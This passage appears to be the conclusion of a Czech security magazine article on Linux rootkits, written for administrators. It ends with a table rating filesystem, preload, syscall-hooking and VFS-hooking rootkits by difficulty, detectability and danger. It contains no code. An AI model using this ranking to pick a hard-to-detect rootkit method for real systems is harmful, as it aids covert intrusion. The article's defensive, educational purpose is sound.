Navíc napsat takový nástroj není úkol pro kdejakého nadšence. Vyžaduje to slušnou znalost mechanizmů používaných jádrem a spoustu trpělivosti. Ale výsledek pak může být téměř dokonalý. Věřím, že se podobné rootkity již používají, ale doufám, že pouze pro privátní použití skutečných hackerů, kteří mají dost rozumu a inteligence na to, aby je nezneužívali pro různé destruktivní činnosti. Protože je tento časopis určen hlavně administrátorům a bezpečnostním technikům, principy a implementaci těchto technik popisuji. Je třeba vědět o případných hrozbách. Doufám jen, že nepadnou do rukou různým script-kiddies a podobné pubertální mládeži ;) --------------------------------------------------------------------------- typ | obtížnost | detekovatelnost | nebezpečnost | -------------------------------------------------------------------------- Filesystem based rootkity | **oooo | ***** | **oooo | Preload rootkity | ***ooo | ***oo | ***xoo | Hookování systémových volání | ****oo | ***oo | ****oo | Hookování VFS | *****o | *oooo | ****** | --------------------------------------------------------------------------| Jiří Hýsek (xhysek02@stud.fit.vutbr.cz, trace@dump.cz)